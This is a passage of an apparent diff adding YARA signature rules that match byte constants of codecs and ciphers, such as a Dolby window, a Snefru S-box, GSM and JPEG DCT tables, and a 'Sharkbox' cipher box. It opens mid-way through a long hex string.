afb00000000007070000f8f9000009fd0000f6030000fd0a000002f6000010100000eff0000012050000edfb0000051200000000070707070707f8f9070709fd0707f6030707fd0a070702f6070710100707eff0070712050707edfb070705120707fffff8f90706f8f9f8f8f8f909fcf8f9f602f8f9fd09f8f902f5f8f9100ff8f9efeff8f91204f8f9edfaf8f90511f8f9000009fd070709fdf8f909fd09fd09fdf60309fdfd0a09fd02f609fd101009fdeff009fd120509fdedfb09fd051209fdfffff6030706f603f8f8f60309fcf603f602f603fd09f60302f5f603100ff603efeff6031204f603edfaf6030511f603fffffd0a0706fd0af8f8fd0a09fcfd0af602fd0afd09fd0a02f5fd0a100ffd0aefeffd0a1204fd0aedfafd0a0511fd0a000002f6070702f6f8f902f609fd02f6f60302f6fd0a02f602f602f6101002f6eff002f6120502f6edfb02f6051202f60000101007071010f8f9101009fd1010f6031010fd0a101002f6101010101010eff0101012051010edfb101005121010ffffeff00706eff0f8f8eff009fceff0f602eff0fd09eff002f5eff0100feff0efefeff01204eff0edfaeff00511eff00000120507071205f8f9120509fd1205f6031205fd0a120502f6120510101205eff0120512051205edfb120505121205ffffedfb0706edfbf8f8edfb09fcedfbf602edfbfd09edfb02f5edfb100fedfbefefedfb1204edfbedfaedfb0511edfb0000051207070512f8f9051209fd0512f6030512fd0a051202f6051210100512eff0051212050512edfb051205120512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000808fffff7f800000afdfffff503fffffd0b000002f500001212ffffedee00001405ffffebfb00000514fffffaec00000ef1fffff10f000017f9ffffe807fffff918000006e800002311ffffdcef00001123ffffeedd00002222ffffddde00002603ffffd9fd00000326fffffcda00001feaffffe016ffffea20000015e000003d25ffffc2db0000253dffffdac300002ef3ffffd10dfffff32f00000cd100003f11ffffc0ef0000113fffffeec100004141ffffbebf000047ffffffb801ffffff48000000b800002dd2ffffd22e00003eddffffc123ffffdd3f000022c100006b2bffff94d500002b6bffffd49500006e4bffff91b500004b6effffb492000058e8ffffa718ffffe859000017a700007211ffff8def00001172ffffee8e00007979ffff868700005ab8ffffa548ffffb85b000047a5000077c6ffff883affffc6780000398800003131ffffcecf00005c5cffffa3a40000000008080000f7f800000afd0000f5030000fd0b000002f5000012120000edee000014050000ebfb0000051400000000080808080808f7f808080afd0808f5030808fd0b080802f5080812120808edee080814050808ebfb080805140808fffff7f80807f7f8f7f7f7f80afcf7f8f502f7f8fd0af7f802f4f7f81211f7f8ededf7f81404f7f8ebfaf7f80513f7f800000afd08080afdf7f80afd0afd0afdf5030afdfd0b0afd02f50afd12120afdedee0afd14050afdebfb0afd05140afdfffff5030807f503f7f7f5030afcf503f502f503fd0af50302f4f5031211f503ededf5031404f503ebfaf5030513f503fffffd0b0807fd0bf7f7fd0b0afcfd0bf502fd0bfd0afd0b02f4fd0b1211fd0bededfd0b1404fd0bebfafd0b0513fd0b000002f5080802f5f7f802f50afd02f5f50302f5fd0b02f502f502f5121202f5edee02f5140502f5ebfb02f5051402f50000121208081212f7f812120afd1212f5031212fd0b121202f5121212121212edee121214051212ebfb121205141212ffffedee0807edeef7f7edee0afcedeef502edeefd0aedee02f4edee1211edeeedededee1404edeeebfaedee0513edee0000140508081405f7f814050afd1405f5031405fd0b140502f5140512121405edee140514051405ebfb140505141405ffffebfb0807ebfbf7f7ebfb0afcebfbf502ebfbfd0aebfb02f4ebfb1211ebfbededebfb1404ebfbebfaebfb0513ebfb0000051408080514f7f805140afd0514f5030514fd0b051402f5051412120514edee051414050514ebfb051405140514000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000909fffff6f700000bfdfffff403fffffd0c000002f400001414ffffebec00001706ffffe8fa00000617fffff9e9000010efffffef1100001af9ffffe507fffff91b000006e500002713ffffd8ed00001327ffffecd900002727ffffd8d900002b03ffffd4fd0000032bfffffcd5000023e8ffffdc18ffffe824000017dc0000452affffbad600002a45ffffd5bb000034f2ffffcb0efffff23500000dcb00004713ffffb8ed00001347ffffecb900004949ffffb6b700004ffeffffb002fffffe50000001b0000033ccffffcc34000045d9ffffba27ffffd946000026ba00007930ffff86d000003079ffffcf8700007c54ffff83ac0000547cffffab84000063e5ffff9c1bffffe56400001a9c000065afffff9a51ffffaf660000509a00003737ffffc8c900006868ffff97980000000009090000f6f700000bfd0000f4030000fd0c000002f4000014140000ebec000017060000e8fa000006170000f9e900000000090909090909f6f709090bfd0909f4030909fd0c090902f4090914140909ebec090917060909e8fa090906170909f9e90909fffff6f70908f6f7f6f6f6f70bfcf6f7f402f6f7fd0bf6f702f3f6f71413f6f7ebebf6f71705f6f7e8f9f6f70616f6f7f9e8f6f700000bfd09090bfdf6f70bfd0bfd0bfdf4030bfdfd0c0bfd02f40bfd14140bfdebec0bfd17060bfde8fa0bfd06170bfdf9e90bfdfffff4030908f403f6f6f4030bfcf403f402f403fd0bf40302f3f4031413f403ebebf4031705f403e8f9f4030616f403f9e8f403fffffd0c0908fd0cf6f6fd0c0bfcfd0cf402fd0cfd0bfd0c02f3fd0c1413fd0cebebfd0c1705fd0ce8f9fd0c0616fd0cf9e8fd0c000002f4090902f4f6f702f40bfd02f4f40302f4fd0c02f402f402f4141402f4ebec02f4170602f4e8fa02f4061702f4f9e902f40000141409091414f6f714140bfd1414f4031414fd0c141402f4141414141414ebec141417061414e8fa141406171414f9e91414ffffebec0908ebecf6f6ebec0bfcebecf402ebecfd0bebec02f3ebec1413ebecebebebec1705ebece8f9ebec0616ebecf9e8ebec0000170609091706f6f717060bfd1706f4031706fd0c170602f4170614141706ebec170617061706e8fa170606171706f9e91706ffffe8fa0908e8faf6f6e8fa0bfce8faf402e8fafd0be8fa02f3e8fa1413e8faebebe8fa1705e8fae8f9e8fa0616e8faf9e8e8fa0000061709090617f6f706170bfd0617f4030617fd0c061702f4061714140617ebec061717060617e8fa061706170617f9e90617fffff9e90908f9e9f6f6f9e90bfcf9e9f402f9e9fd0bf9e902f3f9e91413f9e9ebebf9e91705f9e9e8f9f9e90616f9e9f9e8f9e9000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_32__flt32___32_big_128_
+{
+strings:
+	$a0 = { 38b7b1473a745d463b5277613c04ba033c8c47b13d035e023d60963f3db274743e056b5b3e3d55423e8050c83ea6f4ee3ed15f7e3efdec0b3f15594f3f2adeac3f3ea1163f4feba33f5e4c933f699ddc3f7201c73f77d4843f7b960a3f7dd1593f7f06ba3f7f9d693f7fde493f7ff6643f7ffdd93f7fffa93f7ffff93f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_long_SSR_tnsMaxBandsLong__8_byt_12_
+{
+strings:
+	$a0 = { 1c1c1b1a1a1a1d1d17171713 }
+
+condition:
+	$a0
+}
+
+	
+rule Jpeg_dct_AA_N_scale_factor__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3f8000003fb18a863fa73d753f9683173f8000003f49234e3f0a8bd43e8d42af }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_6__32_lil_1024_
+{
+strings:
+	$a0 = { a127a383519f379f07d0a74023743011c18745223bd627acea647e3ba6bf1c2e006099092c0ebc038a47c4d4abe04245d426dafecb0fd1c196f552825ceb944414f362a3fd81baf576a3c375ca14a24cddde64e197fa8850e030094be8b7cf2fb2f4a6331142e9c774c7662dae8bbe4345d463c630b18e9015bee3f466d5b963b596935243e71b1e3ff65f4d834a5e98f79dab71f5c616c5b49ac185e4ae4d1f313497f25edc13b79a152e3f16da24c86a37bf06ec23feb2221c9be35fcbeef1522de808c286565693ea0aab9f2147fdd7abdbeb85a10424b912738c28d8f2a8da02890c632bb46562efbbc0ef4c3e4e18808f78b7ba1eee9d8f929303293d688906b6d3dc0dcbaf7ac4a4883d9cddf6a0fca57e44726d8a20f111beb891ff04c0c82d8ddb7ff927471f9e7fc7f034178eedf326bff2f80d9e3d83b0e5a420e4e6ca23a47267619549c0e69af24159071228e1d84f6f0f00056b0d3c1c92ef6c64c22bb808b06c396f8a605dc882776daa50651809ec6f6b130be7288856ce5784afd3ec955a3323d20cf491263b6a7bb6b332bdfba65437f088d08e7ce867f846178520c6f9106442043835a710cac27fa2de1a79ddbd76f42c7492eef7980e1d934e16b335c8b9990a06691e534cb4fe667bfa535b8ac9e9aa957d7b462f30de11b874bd6a86f32dd3b3b5a45731fc19fe51d2ac8e5d0bd5ff71daa305ea47e1a9c60558e90eca4d033999df5edc25b13c0879508476866d7d75cfbcb67259c9598da7418dadc4d32a362a919917d1ff0714601709f5dcd0697058d61e82e02794b5db4b1a9173c34f907c92fb4a845d958c6fbbc5c0e887b97ab66cd929a581711ff9061b8b610cbb18e75b61d78b593aa9d51bf8ae54e33621779cfd44ce7ea5cd100b6ed6876789793d04182c1b68bddf3e2be6f61554b868ef35db9638e2b5b712299048cba5984f9ea877eb62a2247c21f65241960a08b249e73ed253696dfb4890d1031994e4499486786ebffa6c35fb6513263aebc14b42702519a182a79c010e7e3f9d7575129c3920f0edcebc57ad7732155c4045a8815673aabc609bd5cc9b622aa610cd5ca2cf655b2b3258531c3a4efd550d79d9317dc36bf0711dfc4a3355edae341646ba784b69bb735c3a5f4a763c6aa9ccb08f4c6825f72f38e54faf63011d8f7aa05aeda805e238ad0bc31fcf22ff2e2e43728b51c2324ece873402ace07a98a09f705a393b0af843405b368ce4a921859a146bee7dd0f3d2ac46fcdf58893c22a1b3c4311db13e4d7fcdade3280fbe00b1e52448c5aabad7c9e90170d49bb049f1800f2f026648400c022a19fa6e8d3f0767f97bec131a01553657e1afe66e5f84d92544ccdecce21a51d8b481df559e80d7d983d8d68c97c72cc57c785ed13300dd37c950a0cd5df79780e59d2961b2e241f1545aea }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_FAC__16_big_16_
+{
+strings:
+	$a0 = { 47ff4fff57ff5fff67ff6fff77ff7fff }
+
+condition:
+	$a0
+}
+
+	
+rule Sharkbox_crypto_algorithm_Enc_cbox__64_big_8192_
+{
+strings:
+	$a0 = { 060d838f16f3a365a68857ee5cae56f6ebf516353c2c4d89652174be88e85bdc0d4e9a8086c1792127ba7d33cffa58a188d9e104a237b530693b8755a4fbe816dac9591826b254a045c2e369fb336af3a96e1fb87b3e4ef4b7578f1435eb7ef0839af80b32056f74ae37f55cc71f277aa4208538fdff37d535991e74ad3cdb6fba191594b32a07d15344d1772e572b7be7efe5de103ffe43a3796fdc41de5e5b2cf9643c5fc882e5ffdbf6fd48196d2233949dfbbbcf780a7d15679dd0cec8bd5f5e229c024498b11223634762c683cedcc4da973041f7c50b43190f9032da44c05598eddfc5a6e29e5fd31a7753f4b89afa8243c0f136fecc4f6b06f3d61528df38612a3bc25c0d43cf60e6edc0c996cfb3d0bbf855bee096e071a8ece2853421b7febcd909fbc48ed4628bb4c4165530682646b04cd3c2b5ff5dc294ba1fd375aac52f4b7fb931e809ad8837afe6410eb2213d8d42d2e99852509561a057ddaa92a40570bde53c7b18e412c63d6bd8a7dc3e85f67c9c1dd8618bce87e33583e34ab487a79d3c0520e397d773db312f05f138321d7008ad17d25b757fb68b638a7133d20366d4130000000000000000eaa17f5e96fe8762c101f18675176c09bebc44cd0488c597db9d30738c609e4babc6cd6eda6f2fd75aaf1aae1f34901cb00e65f089ca177ed47b7825abf08649924520f15b4047721686321ed5644188618425e73f4a999ae21eddec0d4ff6eed787c398a0732d811f6df9c7e407faef79b036c4676c0afb0fe64856279018029cf701ccd602959bbfe82da6ae5a0f7c990639fecb729d36ca42e889e525b64db3f2de4d8249bcb64033db5be643625e4167b2304c91a8b5108bb191c397e2ed1834132358269361541d3b93927642f590edf227fa1126511dc52b1145569bcce6bb8cb5baed34a8d276fbaabd03252c313c4f2d1a9e1929fd73242be9480c019baeeb286a23fc15c9be5334eea61d85c70c720963e4cf6c3eda077b3d0e012b97b418c346304fdf32c0f490111db2e12ba08ed8e3e9eb6b8b255ab9a9b41ef891b99b4c50c3ecbafe8f9f96e2cba7c93a7f56228aacc36db15a0c9b2318dd955953a11314b73bd4f3c10516640adee8edf895ba2adfeeecadcb4ee1cc9c8cb2de6c0841911096e684c312ef8e2406faa83a76d3d1ec841f1c91427aef8451273665a5c9a6bf70a7f6303d24797ad645cd1b026d5904dfc31bc8a89e53a538a97ee9dc20db4d637551ec03a18f064a58c4f0c9b4686764a4dd90b3fc9a933d2e7a4c8d796cefa13373a746a05d8c1a540759eae4bc21698ec8ea3a5f4474d76e38d784f42bfda24e231f2c6a78589ae7c3a92350d4460d2a72f32fcbf75ed0bfbd40ff700f0b6e5f157a89a3dee7ea40873fa95285a7ad324d7d41db60821b7f1e3990ac4ed530040a1770643ae010af9311499af1928d9964751dd5223a9137fa2acecf5569658f7c410ef67a1c025656b5e945332723d66f3604dab2084b73e95dc4e39d7d2caa13770a2cc8144925bc14961ba5d9a4b4b9e5ae29b8a9ac19f169d7c0c55bbfcb2446c68ec479f369806643b63986c4bc7fbdb54b719fa99e04a55159b7a2c246ee042e07215c45245bfb73c5b5e65af70c1af3eb2c13b3caa22d06b7eb0c94b0b8b1c742127b66f2285c3565e86a40a33b2b3f49207e09863c72d5ad9c5f6008770217f9ea2ed812fc274d40439ac6ea4fd5930dc1d37a5c2e51b6eafe99e3c66b93558305aa893519607a48f2f4598a08bfa2b29bb1718c3f8e6e1097dccbc03983ed9f812f68a5ac9f278a664e465982ce916098d7a59fc2fd4a3b7e94c7c166ddcf03836bf014e1e2665106cc5d2674feac44e1ad73da8d28d936bf47bd9d62789e5a34c9325281322add93540e57cb1681e24ff77ca62512afe56eab3982d18a4017b6808ee4705bfd1d560fb19c4b70c2547671b81a49d81082d720d939e0b60f3aac1e97cd4e81fa666b01b0b7951cca15e7612efc463e58d4f0b0c13b632cf7319e1bf8b95ca2992109c73379f764544fd3a81cae6ac73ce8af7843de9f0bba71dd813e5385977b8424f6cc115807c878be65f13f686fee3e0e2922fd78e45fafcdbec0106ccabf67b98be0bb11dfd8fa69452806cee7b9d05287740b50b86aca25d480b35df6f04aa315f9925e0a4bf7a896525a03fcbbbd0b83abc88f800be01e16dcbed32292c117d1efc7e5473708b16e9f60224b4501d28a500cfb7ea7a4ffbbaf643d26bcc6368daae3866bc0392f7567d93731cca20c6dba4cb603e67f9f39b41ba1d1bd0ae08f3f78d935e2a52d31ff68af639c376dcded910154696baad2caebecacfcd1800d2407f03dbeab6f89752002a8d2d6a1516123f498eff2d82bb766710f9476fcdd7b77f8821c19f43804acf9d675725eeace471a9cc1f5f977f2425210b81c8485e1906d9ed60c13592a50f2956c7dced81403bb4d7cff19f8cd3a4c2928b0ca50d1946e626db118da8198e4135e631bbc558b9da368a77cd05f70a574ec53572dfd3e09ebcbd93163bb674a24ab3fdca372f1429b098d4712037d57e1802e99f5e93def50476c8b8e8fcfa085d4614a5df59334cd771f07ee1184c6581b62c93605872dad0d57f51a480e898d886f08e57fdbd6d3aaf30aa1e76a76567e9240fc12f9b4ab34a93e68d538b2a6b726289b765d8c7cb05d15957776554952f838a4881ed52f114e01224ca260d04c8c959853716789a66829b93aff2f05df81544b292d476a31bf5a620bd0f5cc869972f97d8d488c79e97df213d244968a0251e1a01826ee14586528924ad0de297c1c52440fc5a4a0dfc2b5ae4f29085c0e42b88a48142ee0c8743520ab2af4e7b3493b21809448a37e4db3e417e2795ba105ba30ce65b5d634f5e0fbdd2d7d7f1464dd8c55eefbf778add1c20b1eb0fbd1f11968e7e6073f45ce30cd8d21ffd3cdccb67e90df0941cfa750a262c61df5b1b75ef18ac5c7defa9dc337c62581b729073c83d3a5e97513167173cfdd3673bd381526b9e8baa1eef91ebb933b314cf8f625eb34579d4bc8d5fc5df8bb598ec2e7681b28c8a06b1a807087941c8fc9a36e5cec3cf60a5a3f0807d3741ace9f353a9395a47e9e50387aab2ceeb5e41069d0466d368cea6ee3b92602d9f952ddad8af1e7fdb19a748d1bcc90752464ae10b2e4c144fcc9a070f4a35829fa88f6e6a06c21b12c98662dd105cec29065a740d77aeee5cb7a4051aaed41d855a279ba4ab9d92327be855b98790708babc97fb52b059bfa19711f7ddfb8e8c047e64e4cb8afd43c386886cc90c4e5ec422c7c3281b7551fb6defdf15b4632601e51939b5d842975cbba8be9c8094326f762c7b09447080cee13d8cd4bffe0c54476083ff619bb46e933542bc9c32174af79b520e78f35398996f7db49be163a07208ce6823cc1b2b3c29823012f5cd93bf8c0bfde728a92225f886e62bb8dc7f7b4901cf736e790000000000000000023f32729f4584dbd5cabb805bf4293f07a44fafe1173b0fe95fb8d74cc6f9047b052de504f9933a6aed51a67716cf5468d263d4e8534b8fa96bd9cabe1a810a1d6ad09adb84aeab0d67b5e01db3b05252063615abaee22c8f3045a893bbc495d8ad0e604647996daf2a8f5cead5f8923017af8ebf5922fe4034611df2dc780e721cfce1d2c0de2b28e602c91a8f3381e1a370ea2f27f68229031bf0af5771161914b47e100e53e8567852f160241f6f793a1f979bbc17e1ef1eee411809809c6211999b14f7c0d2059b7ddd7e52bfd443ee4a56d841be42f1ae1590e910e87b33cd84c595c4e4b24b12826bbba0b1c4eb608aa5d3837ddf201acaf4796e3c07bf27ea262ce2e66b58c5cc5a570a697137b3e0215e4e19f1ab54ebb8215f05d18ed55c91266386029aa65d0f2bde65b8d7f589f2c4b1ade45039046734eb66f76cac073023d9b6cc51dc1d5e8133246017a92ad5272025f647902eb213cb43011b2b860c8f4bd7334f6ce68f702a4c87cf0424b56167bc9b997c76440143a3f47ae034dcb121d1ad100d657ac6371ef90ac3fa4ffca48b5ddeec58f61288e0f5265b9c622da1459fdcd36a848dcd642ee4380d375175495613d74e31ecaad8b5fd2cb949417b1abe9624f1d683b5977d4675378ba61301960b26e376497cc9ca41d1782447043a99e39c4298b0627259cd3b16c7fe2238407787813cac9261ff492db01924e5351f5afafe28c84fedaa8b4e214c583139d6ccde0ffe4bfa7ad776629805194a23687ca1624ae5eea83561cbb2d03e6a069e48c8a920913d77888068c23a114df01cd38bed160f3b50a732289dfc201ca625c1b9ba1e5649ca85ed21dc33874c0447a3a8238542be0a575b1fe7117d97af3d3d701a6ea2ea92ac73f9e5d867189cbc9ed839ebe05498fb5920d563e2d22be6ca9f59681f35034f11e87c4373ef5c6e97c1e8ef366dd5eaacf0a417c0483eded26ef42fbae31230bcfdc16d067f2027bec2f31f993aa4fc45af1cc08c8ec7da31f2b6b70a816069d9481759f39fdbfae5dd140ee4ad0bc1a6335e583cecb58338eb67b3dcb82d78f5d07174229a15385f6183f5b61d527e0f58879282f63489164c33ec92f86761444a05f93956854d818ddb03a495b28b4d53d4fdef6fc85c8d0f77da0cfe404e8416a6dedac70d5f666ffd7fdf7d3d91b63e3b22fadbab7af2743edbc38d2e37a40c6c2aa3a931589f3d20d2558cda6cfef692026be6dcf22ea7545f4e404a19b2405fc63151563923c0e1bf53f3fa4b83b2e9713bd036500641569654cf7998b883a589cdf5dd643ad455c143fda9a3925a9532483f6a3eaab1f28194874746f435684d974257afd1b4df64907ed47c390e7e8a69606fefd051c65d25a696ebb4010950659e2fa10c82acd9a86bf2c588940a0772acff9af39127e276556ca0aecf96655f0dba0503da2b4b2a9dc64c3f4f281c3daf16773469cb6a74d3dfbdf04b0ca95cc8aaec1f55e2e844c12a704cb6cdc45ab78acbc05ca327e391881295feda9da9285131b966bcb0782d9ff3a7d647618934f714d61090cb7169ef7371c6d7aaf85d1867ecc4c50a329446d06450cf0d4038b94a420b536f6d99fcd575b8b34e33d7e524c26391557cd40cc9da923c12d9021db64e89ffb6c5f20e100919d104d6394d118aab3875ede97b41a88ec0f30bc2c39db7db221b4f03e9edc7f8ec880286b31d2f424d66fb98088ee04669d39affb4153eaa3125887754e05e849acc03c510e98257f0488e0874c7bd18d854b3a762b0b3a546ff848914ae9ce70b997f111c203c9503571732d03be7e2267c7be88f1a63f480a2a12f8245602eabe98bb24409941bc3a41cf013a6678ae4466aa57f061232570859729a226d491e099601f45b5d5eb1872958d6a51473019e0dbde3baa24d3abcf76648c085f3bfe76f1f4fc808fcc83d63e10f86745daa77860fa7b39180be7962a2ac7287cc8d95f05acb1378df06ae2e64557618f1ad47a5d6117f358cd253c10b9d2a0ebd9eab372e761ef7ef4306bddf91e37023ce934d855af0d42fa2b9ee2c6ba83656f918eb965b669d0212a0cac95eb72ad930bb85cab75a862994ac458289847d447b735036eaa2b07f6db4ae14d2e26b08489fc2ce8dc39b4344369e06272fad15bd2e75907c49db77252b6cda5f21ea85939c665b3f48c945722335a8c503159618a7b865a12d69377aed5d8b09188971133ec774bd0d53e32f2c1e76a0bbf8b7c4943f29a56aff138b3bde3e9e657c6a2eb5fdabecc6401cda0a752bbea01925217156dc57c456dec6d301d7078741c751ff73c6ac58c9067697a92cb5f93391c917aaa0bc85ae0a9a4c0e742afeaa8ca972162a62f45aa193912935df9986fd9135fe27e5baffca074b1d3f538e0e3cb65d24cdfc1b4384b2e07fe9885dc73ac0ca8de149e248e5bc7645972eb4be0d56b46ef9ffd6200e6d05c0ef5f50e1f17dee597f7abd0243e31f0c2f2405f4ab09dd2741f567e4acc52547cc204f348f92c3b83cc27253837e181f645d75d8da319acf4c722981e3cae1ecbb9b4dd6e687c7eb818e323dad7f4a8e6d409e28f70b79f053cf44493e3783437a3c4cb27203f6461b27c8d02357e6fff0e23de8d390676f2ef85126cbbd24d49e335fee1640467b5f945e4aa65f6949b80ab1b56c58225487593f4ffbe7a2570b50430aba85633c93b41178ec1d8be5f5a4cc501b16f215a66b88271036d1d27321a77ff2465ff769da3b35541936bed1d08ab8c886957a8893d92fe950ade2cfb1b3f90fd76a094e3f812daab3b2eee095b61abd499b5c1e61390c7f554228e2d81e425f391579049aa5c3bcf3f495bf01e8b4b7d3d7526a4bc70000000000000000a0362c112ab9d6e591e406198c364e65454162c16b98e452139fa4126a4fe3d501db8bf506ed12f89a85088fb648e88c3ab3249e9cf13e69d57eef2de143b8cfb1ea6b1c4cd911357aaffe94e9da80c9ad92f2a604b61c03a3ae44fb207be018eb4bf88d65ecceacc0249b1e9f7d3715a8cf4a6d1a0546f1c6e14b3f8b0c5b1ace182d43bbb0cb0efc526fa117fd65738c471456c2b451abac497953025b0efb0486333e185e480a18feaa845031453ca1eda7e42c54c41d06c5d02114716c0f055db8cb1eb35af2e5774ed0412132b736cc71dcb413e677470281de67b7c05758e2708e251afb9ca914c1981ce85409b3a9880340f63530638adfe5bf06d70d0b610e963a7ea6e9927c6ef386f47898ed8e28ac719da2a37548c33ccbfa6e2af3b5520935dd8b908d9c9fa3c459435331d22a08a68f98800da4deb72e0fcae68fdf7cbcc87667565dbfc8453ba9a16e8e04f749ce9b75ae83a029fee094bf48a4b01f2f32e79eef1c7899ba486f0d36654f0fc4ab77bb027db1a540fb46fe3e51c09d07134b7970cb459588a50391fc3fee9c558242649bfe118cbe1bd2417676d0abd6c13858d75e27a0af316b979369305a868395631c3b68af6b9a1c2c916db669b89bcb2b16a72877c53825a812d3bb3f0cf532d4c06ff58aa797e40f1396fa5dcd9eaa30922c713847e80d874ec57923d581ce6de72b6f6393fa91f9b90922ed89365182ec324a42e2ac4dae7d16c21cd974fcb927956235279468066f7b747561ef379231449ae9346d75f6aaf570822821ace79f5939fb7b23f7e9647937967ee318b63484be722af208c1bf08f9667c30bc9014efcdcbb37db286a6a6f3fc303ec8baeaea9073786301dc5462515410b9ebc5f5d260b4f9f3dfc6389e033bb1ae16a08638f0c78190de1a6cc26778019352131080384114ea5689b59b5e837ab0a5fa74f73361372d83c39a3009a1fda0628a78d4a564d8e7aeaa37fb4c347505611b845b7a18642fd8cd61239605efca2d69adf8d45c9f0fa32d79bb50ee7f704aa524392b4c74963308940fe73da82220eee33717fa29b2fef48ff26ed9fc33309968d73d0c32ed6c9ccada99d285c363562cde1fe1bbdb3d1e26738d131ddf8b0225292c808cf6beddbcbc4eb5ab62d6dbd3039868ea0ac236fdcc5bce5cb79fef0bb031e0e94a3403cdc4a2a82087237f1fb72fbb3d58a87d3aafd111b90899380668ebd173857871e49d9b535ba4d4967be9081b9269c3eaa971cef002d3a4262093a7e50680196a60891aac9ddc070b59155a74337e3e8fda4e206c5751e642bb9721d6389847226a12442fe76ca2f12d2553d5cede5c05a2a275cf0e2696f2e024885e3bd8b1175a670cecdba7589f07749348c9cd177cd264948431ad9aa9fa2ab4e866fc7ceb41e6ef263a4be3044ae734adcf4d0e16b2903f8dec8adb5c9df02d3ae33f1fbd6d725698e8d96610dd1da3124f4e821fce1719972c7211abdf11dc470d6660c7d0ec55a3597770b05bbfd6dd416814ed2e57054d26073a157f1e3b7aa5444029335ffc2b5a3786856b61c93cfab329f3083e3517a084af7663f6e8eac22b6ed1621007ccf8608dd52866d7672ea1b58dff8b594f82d0282f5c1fe0f15042ad3bcb4b7dd49c4f5518494c638f485dc966becfc3a6b6bd5dd9f646d90a2b615ad2af8565f9dff4e5d34794b9bed292851497fa97bf80038c097cb9130d607c658121dc5c02a4d7123a23224d8e1accc07b5587261ac0f8caf742d901ba6fc9a160d1ab57228710c7700c21d5e6f0c6024da898c6eb90ba67cc89827ba20be679adb0991d6065bc8ade715546ae390b15317aa56b94da340a8c17071e5bd4129c7ef7e02af61b5f9268456b73b9998fba4719dfc46a4eddd00cde770b2023c7d54a2f7e29cdaaf184c8c3ba8b658a76a7b7dc9c40d8aea23984839fd8b044a8fbb27edb425970c58e44d4e269150453bd4c403c76f4bf88805266f1f6b11639f2af95549d25cc0df823824db804bd5b2474468a82c477d6c53da45258f5ed19894f8d6e2e015291091debc1ff10eb999025edbd953e5e643bc92bc8ddfd62afc1a7015c6443b03d44b3966c6de24d9d2639ee1481ffc678d39d22d1f8dc13f91df0c5ca9e1e7da3ee8304dd878951d1ff28db6012b70fb5c4e1f01b66c26e5af373c1e3b29ef155505eb870157bf7d54934d82e32db58e422a34b6aa8326c895755e1b6f430c85e456fc2fd89e4541110778b88c12768daea19a1cd8045a9b172fdf399183e616655b742b2872032a50d68600946f63b060528ef36612b9a141ef07d0634da84dd49579bfc9c9e9b486c8a57a63fe3c0744e6fd0f1515758d8b46bf93e82559fcd5197ff92e12d262bc40177c3bb433a5a7752c521c3852a5183267a39130725cf528f099ba7db1d2dc12998c58f99be873e055ed9d424498f32656c27f75fae8cca71e159b91019a8fc3430ce768af9caafb36b9d930199f0887e0363b07a7ef3706a8eb5167288a70e709640cc1a28e967d22e4d01d3eb79bf33809e896cdb6456afb42548bad2c75eef3ba79a6bfeab0420bd9f2ce4e5bb1ce0d932ea146282c3393c6d67defff7765a9783775912b31080ebf5da68a04e69a2b81196743498d4819c0bf913474d91b63543d6776a7db90399444725d07fba1b6f6584a0fa2e393d153f27dda1121bd892f6c005e2dab7730f56cb3ca673b04b44642128c4f1737278bf4ae9f135d589ceb038c54eee99f6baf47fe09e9123edd575b75cf069a7f3e4d419ed8a1fea84c273838674b4eea47f498aec13ef62fac120660d148ec96917a48006bc3fdaf10a2f1421ab558516630a5c9b7992dbf958d1375a4c567d02ee0000000000000000c842507d17e6e4f0f3eeb2249320f523c9e7d843c8acab9dff86f3d9dcb25be0b4b3fab678443ffbb19d4d7031d3b9d779df1d0d26355d278eba90d123c86145aa57a23d3bdcc113cb583d3f83383547d871ac7750782a01e162ab529f2aa50838b68f1b1018c064237c60561a17b8a0a31154063dd9e9fc713c6308ff7a3aa51a6f6773d54537a908e37e05d94f6782357b46d880c021ca6cc256c1283c15facfd302c715e5fc06bdf50c8d7e4117147cf1aacb6fa2db0b5240035ee56d82057b60f8716da1c3fd01a5883edf4a4f6ddd5f1bb119efac2d5474d9da3824d59e0f722cbfdb4c7f7417a2aeb0459dd60737c4a3a4cb54bf10c21ecb04853d1da84273ff54a2f34cf4dace490b1becb4db6af68c45f575426146f8c0ac342e85b5854383966e59d77081c8bc6ef8841e313bace25984c611d31033fc0a479ecef11c5bbdf7080c60327412d4ceb6edbc89a8e8474170485fc9b8dbbb4b37d69138079152ba020318f672260e4a6ba4eb12905ec85a60509fad2dabc4d71e1188b9d092d27289374d83610f9f02b8e4f45402bfe57c4b949eda95707f9c29c719816fd83b83bce2c44d5d322fe13e21fd7134decee65f8a6ea7cd6ce7bb5e7162dcfb0dcc214a6f92a12eb1a9958acf590edcfa938fc6a5e340669ecdb8bae7eca2151d4bcc0e0948ddfd3916a59726c53a581c982777b67b5d1bcaef4d0a0f78c4dfe0fecd527b32f7128c19760c0a502b84e60ba8b113981d3c3db0e386c509257febc789fb7c0abc7d5422f5b0e89466d70380c88b345575bbc1d609a308408fe278c6100bf474bf5e2842a3aaff2cc66b53047b2a3f0d0cf7658ddc05fd3c629a025323f28b66f58c0575ad685cff9f76ad31b2fd79225368496939bee1dcbb7e4e4fb7243645d1e44c1c94d6bd2324beef61cfea9fc6a391fb4064bf1ad0c0052eb7c64997862c4a9081517bbc2b768f1f18effc822e283a096a675b8c5ebeee1087ed4466da7c2652d79053803e8c7099eb36203075c8c7307cc2ccaa9b845c97a7dfe16bb21c50ffe622aef91cdf8da0fd93b716b0f269ece10761ab93d631f07920161de88b13299148d3401f46031a6d4294ded1b7ccc96f85813b2db114b8c3f2d14307b08659eed4fa8706c7ba645e377c420fe22920fb2f88cc41f887fc66ea25cd49aa1ee4588b4398fee8ecaf62910ff244a6f817a163deb1431645e2adeea0f05402806d345027ce515c576eb498acfa0429a5258e82e090be67892bc26b21cb79b36e7db3bd63a88b204e1bbea9ed61e237adc6f08739dfd9e58b9427176a5fe769a1aeb17a764d77264b35096fa4f6641b22d9e868c55df7cd55d151e4e76e9af3966a12debd19c8360dcdc9c390d8e1aef24b3a1a4c6aba4e24ed32ec1814a056af7915fb724b473f2885731157860e959c3689a72fc2316e475d4892eb64cad8ac6378b9e6959688a00b3944a907384bc695f4fc13e0d4e93